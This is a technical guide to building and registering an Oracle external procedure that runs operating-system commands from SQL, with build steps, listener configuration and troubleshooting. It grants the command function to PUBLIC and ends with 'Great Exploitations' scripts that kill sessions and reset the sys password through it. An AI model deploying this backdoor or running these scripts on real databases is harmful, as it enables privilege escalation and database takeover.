It is possible to call O/S commands or third-party programs from within SQL or PL/SQL with external procedures. This guide describes how to build, install and use such an ExtProc and shows an exploit on how to grant yourself Oracle sysdba rights. Think of an ExtProc as an Oracle root kit.
This guide applies to Oracle 8i, 9i and 10g and applies to both UNIX and WINDOWS. Note that Oracle 10g also offers another way of making calls to external procedures using its DBMS_SCHEDULER package. The exploit shown is for educational purposes only.
Overview
This guide describes how to build and install External Procedures on the Oracle Database. With en expternal procedure, it is possible to perform operating system commands and call other third-party programs from within SQL or PL/SQL.
An example of the commonly-used Host Command, used for making operating system calls from within PL/SQL code is demonstrated
This guide applies to Oracle 8i, 9i and 10g. Note that Oracle 10g. Oracle 01g also offers another way of making calls to external procedures using its DBMS_SCHEDULER package. This guide applies to UNIX and to a lesser extent to WINDOWS.
Building and installing binaries
Pre-conditions
-
Oracle is installed on your server. See the article Oracle server construction guide if you have not done this sort of thing before.
-
The environment variables $ORACLE_SID, $ORACLE_HOME and $ORACLE_BASE are correctly set up. $ORACLE_SID should point to the database that you intent to install this in.
-
For UNIX and Linux: gcc/cc/aCC and gmake/make are on the path For Win32: cl.exe and nmake.exe are on the path
-
You should be able to log on to your Oracle database as user 'oracle' (or whatever your Oracle admin user on your server is called) - at least once to deploy your ExtProc library.
Host Command Code
To illustrate the ExtProc process, we will build a simple little program that allows you to invoke as O/S command from Oracle's SQL or PL/SQL environment. Paste this code into you favourite editor:
-
#ifdef _WIN32
-
#include <windows.h>
-
#define DLL_EXPORT __declspec(dllexport)
-
#else
-
#include <string.h>
-
#define DLL_EXPORT
-
#endif
-
-
#ifdef __cplusplus
-
extern "C" {
-
#endif
-
-
#include <stdlib.h>
-
int DLL_EXPORT hostcmd(const char * cmd)
-
{
-
return system( cmd);
-
}
-
-
#ifdef __cplusplus
-
}
-
#endif
Once this code is installed on the server, it will be executed by the ORACLE DBA user. All forms of malicious command are possible with this command, including the ability to destroy the entire Oracle database using Oracle. There is therefore a great security risk associated with using this strategy.
Building
Oracle's recommended way on UNIX
This will only build the required shared object binary as suggested by Oracle. It is very particular on the way in which the Oracle environment has been set up, so it this does not work, try one of the other methods below:
-
$ cc -c ${APPLICATION_HOME}/extprocs/hostcmd/hostcmd.c
-
$ make -f ${ORACLE_HOME}/rdbms/demo/demo_rdbms.mk extproc_callback SHARED_LIBNAME=${APPLICATION_HOME}/extProcs/hostcmd/hostcmd.so OBJS=hostcmd.o
Using GCC on any UNIX flavour
If on a non-GNU UNIX, ensure that the linker is not a GNU linker but the linker that came with the system. For a 32-bit system:
-
$ gcc -c hostcmd.c -o hostcmd.o
-
$ ld -G hostcmd.o -o libhostcmd.so
You can check the symbols used:
-
$ nm -S libhostcmd.so
Using SUN's CC on Solaris SPARC
-
$ cc -xarch=generic64 -G -o hostcmd.so -h libhostcmd.so -Kpic hostcmd.c
Using GCC and Solaris LD on Solaris SPARC
-
$ gcc -m64 -c hostcmd.c -o hostcmd.o
-
$ ld -m64 -G hostcmd.o -o libhostcmd.so
Using aCC V1.21 on HP-UX PA-RISC 2.0
-
$ aCC -O +DA2.0 +DS2.0 +z -b -c hostcmd.c -o libhostcmd.so
Do not use the stock cc C-compiler that comes with HP-UX. It is only good for rebuilding the kernel and is not ANSI-C complient. And even then it may not work. HP-UX seems a little brain-dead at the best if times. Still, for brain-deadness, nothing beats the following...
Windows
This will build the libhostcmd.dll dynamic link library in Windows:
-
C:> cl -I. /LD /D "_WIN32" -Zi hostcmd.c /link msvcrt.lib /nod:libcmt /DLL /OUT:libhostcmd.dll
Installing your ExtProc library on Oracle
-
Copy the binary to a directoy that O/S user 'oracle' has access to, referred to below as <LIBDIR>.
-
Log in to sqlplus as the appropriate user and create an Oracle library object:
-
SQL> CREATE library libhostcmd AS '<LIBDIR>/libhostcmd.so';
-
2 /
-
-
Library created.
Note that <LIBDIR> should be an absolute path and not the relative path.
-
Create a function to the library. This is the depricated way to do it (but I like it more):
-
SQL> CREATE OR REPLACE FUNCTION hostcmd(p_cmd IN varchar2)
-
2 RETURN binary_integer
-
3 AS external name "hostcmd"
-
4 library libhostcmd
-
5 LANGUAGE C
-
6 parameters (p_cmd STRING, RETURN INT);
-
7 /
-
FUNCTION created.
-
Set up access rights (Warning: see NOTES section below):
-
SQL> GRANT execute ON hostcmd TO public;
-
Optional: Make a synonym if you have the privileges
-
SQL> CREATE public synonym hostcmd FOR hostcmd
The binary does not actually need to exist when the library object is created. Binding to the binary library file only occurs at run time.
System configuration
The server configuration details that will enable the calling of external procedures from within Oracle are shown below. You might already have something have something similar from a previous installation, in which case you can skip this part.
You should ideally have a separate listener for external procedures. Ensure that the KEY and SID values in the tnsnames.ora file correlate to the KEY and SID values in the listener.ora file.
The following files reside in the $TNS_ADMIN directory (normally $ORACLE_HOME/network/admin) and should be amended to suit your environment.
File $TNS_ADMIN/listener.ora:
-
# SET ORACLE_HOME TO your CURRENT environment
-
SID_LIST_LISTENER =
-
(SID_LIST =
-
(SID_DESC =
-
(SID_NAME = PLSExtProc)
-
(ORACLE_HOME = /opt/oracle/product/10g)
-
(PROGRAM = extproc)
-
(ENVS="EXTPROC_DLLS=ANY")
-
)
-
)
-
-
# SET HOST = 0.0.0.0 TO compensate FOR a bug in 10.1.0.2 RELEASE OF the
-
# Oracle listener - normally SET it TO DNS host name
-
LISTENER =
-
(DESCRIPTION_LIST =
-
(DESCRIPTION =
-
(ADDRESS_LIST =
-
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
-
)
-
(ADDRESS_LIST =
-
(ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521))
-
)
-
)
-
)
File $TNS_ADMIN/tnsnames.ora:
-
EXTPROC_CONNECTION_DATA =
-
(DESCRIPTION =
-
(ADDRESS_LIST =
-
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
-
)
-
(CONNECT_DATA =
-
(SID = PLSExtProc)
-
(PRESENTATION = RO)
-
)
-
)
-
-
# Instance descriptions as per this example
-
SID_NAME =
-
(DESCRIPTION =
-
(ADDRESS = (PROTOCOL = TCP)(HOST = oracle1)(PORT = 1521))
-
(CONNECT_DATA =
-
(SERVER = DEDICATED)
-
(SERVICE_NAME = sid_name)
-
)
-
)
Configuration for two instances
File $TNS_ADMIN/listener.ora:
-
# Listener configuration
-
# This example supports two Oracle instances on server HAPPY
-
LISTENER =
-
(DESCRIPTION_LIST =
-
(DESCRIPTION =
-
(ADDRESS_LIST =
-
(ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
-
)
-
)
-
)
-
-
CALLOUT_LISTENER =
-
(ADDRESS_LIST =
-
(ADDRESS =
-
(PROTOCOL = IPC)
-
(KEY = EXTPROC0)
-
)
-
)
-
-
SID_LIST_LISTENER =
-
(SID_LIST =
-
(SID_DESC =
-
(SID_NAME = INSTANCE1)
-
)
-
(SID_DESC =
-
(SID_NAME = INSTANCE2)
-
)
-
)
-
-
SID_LIST_CALLOUT_LISTENER =
-
(SID_LIST =
-
(SID_DESC =
-
(SID_NAME = PLSExtProc)
-
(ORACLE_HOME = /app/oracle/product/9.2.0)
-
(PROGRAM = extproc)
-
(ENVS="EXTPROC_DLLS=ANY")
-
)
-
)
File $TNS_ADMIN/tnsnames.ora:
-
EXTPROC_CONNECTION_DATA.WORLD=
-
(DESCRIPTION=
-
(ADDRESS_LIST=
-
(ADDRESS= (PROTOCOL=IPC)(KEY=EXTPROC0))
-
)
-
(CONNECT_DATA=
-
(SID=PLSExtProc)
-
(PRESENTATION= RO)
-
)
-
)
-
-
INSTANCE1.WORLD =
-
(DESCRIPTION =
-
(ADDRESS_LIST =
-
(ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
-
)
-
(CONNECT_DATA =
-
(SERVICE_NAME = INSTANCE1)
-
)
-
)
-
-
INSTANCE2.WORLD =
-
(DESCRIPTION =
-
(ADDRESS_LIST =
-
(ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
-
)
-
(CONNECT_DATA =
-
(SERVICE_NAME = INSTANCE2)
-
)
-
)
File $TNS_ADMIN/sqlnet.ora:
You might not have a sqlnet.ora file. If you do, keep it simple and only have the following in it:
-
NAMES.DIRECTORY_PATH= (TNSNAMES,ONAMES,HOSTNAME)
or in Oracle release 9 onwards:
-
NAMES.DIRECTORY_PATH= (TNSNAMES, EZCONNECT)
Restart the Oracle listener
This will manifest the changes that you made in the listener.ora file:
-
$ su - oracle
-
$ lsnrctl stop
-
$ lsnrctl start
-
$ lsnrctl status
Restart the database (as a last resort)
Only do this when none of your tests have succeeded.
-
$ su - oracle
-
$ sqlplus / as sysdba
-
SQL> shutdown immediate
-
SQL> startup
Testing
You can test the installation of this from within SQLPLUS:
-
$ sqlplus /nolog
-
SQL> connect / as sysdba
-
SQL> set autoprint on
-
SQL> variable i number;
-
SQL> exec :i:=hostcmd('touch /tmp/test');
- which should return 0 if the command succeeded, and <> 0 on failure.
You can test for the file's existance from within SQLPLUS by shelling out (use 'host' instead of '!' when running SQLPLUS from a DOS command line):
-
SQL> ! ls /tmp/test
- which should return:
-
/tmp/test
Fault Finding
* ORA-28575: unable to open RPC connection...,
The server's listener configuration is still faulty. Sometimes restarting the listener helps. Ensure that the server's RPC daemons are running, e.g.
-
$ ps -ef | grep rpc | grep -v grep
- should display at least one rpc process, often something this on Solaris:
-
root 495 1 0 13:16:32 ? 0:00 /usr/sbin/rpcbind
If you are still getting this problem, restart the listener. This often helps.
-
$ lsnrctl stop && lsnrctl start
* ORA-28595: Extproc agent : Invalid DLL Path
By default, Oracle only considers DLL's and SO's in the path $ORACLE_HOME/bin and $ORACLE_HOME/lib. If a share object or DLL is installed somewhere else on the system, add the following statement to the listener configuration file $TNS_ADMIN/listener.ora:
If you want to be unspecific (Note that this may have security implications):
-
ENVS="EXTPROC_DLLS=ANY"
If you know where your SO's or DLL are installed:
-
ENVS="EXTPROC_DLLS=<absolute directoy>"
After having added it, remember to restart the listener service.
* ORA-XXXXX: ...wrong ELF class: ELFCLASS32
You are probably running Oracle on a 64-bit environment and you may have compiled the source code for 64 bits (using the -m64 option). However, the code was linked against a 32-bit library.
Fix:
Ensure that $ORACLE_HOME/lib appears before $ORACLE_HOME/lib32 in the LD_LIBRARY_PATH environment variable.
Debugging External Procedures
Oracle provides the DEBUG_EXTPROC package which allows you to launch the external procedure and return the PID. With this PID you can hook into the external procedure using a debugger. Needless to say, this is only useful if your operating system supports debuggers that can hook into running processes. This package needs to be installed by running the dbgextp.sql script from the $ORACLE_HOME/demo directory.
Great Exploitations
As discussed above, C-style external procedures can make your system extremely vulnerable to a malicious user with shell access. Here are some scripts that could allow an unprivileged user to do things that he probably was not intended to do:
Assassin script: Killing of Oracle Sessions
-
#!/usr/bin/ksh
-
if [[ -z $1 ]]; then
-
cat <<EOF
-
Usage: ${0##*/} PASSWD
-
Achtung! This script kills Oracle sessions.
-
The utl.hostcmd function needs to be installed
-
and that external procedures on Oracle are working
-
Requirements: The PL/SQL hostcmd function and its binary library
-
Parmaters: 1 SID
-
2 SERIAL#
-
Environment: ORACLE_SID should be defined.
-
EOF
-
echo "Exiting..."
-
exit 1
-
fi
-
-
SID=$1
-
SERIAL=$2
-
[[ -z $ORACLE_SID ]] && echo "ORACLE_SID is not defined. Exiting..." && exit 1
-
LOGFILE=/tmp/${0##*/}.log
-
TMPFILE=/tmp/${0##*/}$$
-
-
cat > $TMPFILE<<EOF
-
#!/usr/bin/ksh
-
ORACLE_SID=$ORACLE_SID
-
VCR_HOME=$VCR_HOME
-
COMMAND="alter system kill session '$1,$2'"
-
echo "Killing oracle session '$1,$2' on Oracle instance $ORACLE_SID" >> $LOGFILE
-
sqlplus -s / >> $LOGFILE 2>&1 <<!
-
$COMMAND;
-
!
-
RETCODE=$?
-
echo $RETCODE >> $LOGFILE
-
exit $RETCODE
-
EOF
-
chmod 777 $TMPFILE
-
-
# Execute script
-
sqlplus -s / >> $LOGFILE <<!
-
set feedback off
-
set autoprint on
-
var RESULT number
-
exec :RESULT:=utl.hostcmd('$TMPFILE');
-
!
-
rm -f $TMPFILE
Change Oracle's 'sys' password
-
#!/usr/bin/ksh
-
if [[ -z $1 ]]; then
-
cat <<EOF
-
Usage: ${0##*/} PASSWD
-
Achtung! This script attempts to set the sys user password by exploiting
-
C-style external procedures.
-
Use this with care and only in extreme cases!
-
Requirements: The PL/SQL hostcmd function and its binary library
-
Parmaters: Desired PASSWD
-
Environment: ORACLE_SID should be defined.
-
EOF
-
exit 1
-
fi
-
-
PASSWD=$1
-
[[ -z $ORACLE_SID ]] && echo "ORACLE_SID is not defined. Exiting..." && exit 1
-
LOGFILE=/tmp/${0##*/}.log
-
TMPFILE=/tmp/${0##*/}$$
-
-
# Create script that will be run as Oracle user sys:
-
cat > $TMPFILE<<EOF
-
#!/usr/bin/ksh
-
ORACLE_SID=$ORACLE_SID
-
COMMAND="alter user sys identified by $PASSWD"
-
echo "Changing sys password on Oracle instance $ORACLE_SID" | tee -a $LOGFILE
-
sqlplus / >> $LOGFILE 2>&1 <<!
-
$COMMAND;
-
!
-
-
RETCODE=$?
-
echo $RETCODE >> $LOGFILE
-
exit $RETCODE
-
EOF
-
chmod 777 $TMPFILE
-
-
# Execute script
-
sqlplus / >> $LOGFILE <<!
-
set feedback off
-
set autoprint on
-
var RESULT number
-
exec :RESULT:=utl.hostcmd('$TMPFILE');
-
quit :RESULT
-
!
-
-
RETCODE=$?
-
# Clean up
-
rm -f $TMPFILE
-
exit $RETCODE
Final Notes
1. It is only necessary to register an external procedure once, unless the interfaces to the procedure changes. Subsequent rebuilds due to code changes in the external procedures do not affect the registration with Oracle.
2. When registering an external procedure, it is essential to state the absolute path of the binary that holds the external procedure(s).
3. Once an Oracle session has executed an external procedure, it has been found that the session can lock the binary for some time. This can slow the development / test iteration cycle down, but can be circumvented by restarting the Oracle session (e.g. log out and then in again).
4. An external procedure has permission to execute any commands that the O/S user 'oracle' is able to execute. It is therefore wise to sandbox the O/S user 'oracle'.
5. On UNIX (as opposed to Linux), ensure that the linker is not a GNU linker but is the proprietory linker that came with the system.
Other Reading
Oracle Application Developer's Guide - Fundamentals. Chapter 10 - Calling External Procedures.
Oracle Supplied PL/SQL Packages and Type Reference. Chapter 92 - DEBUG_EXTPROC.
© Gerrit Hoekstra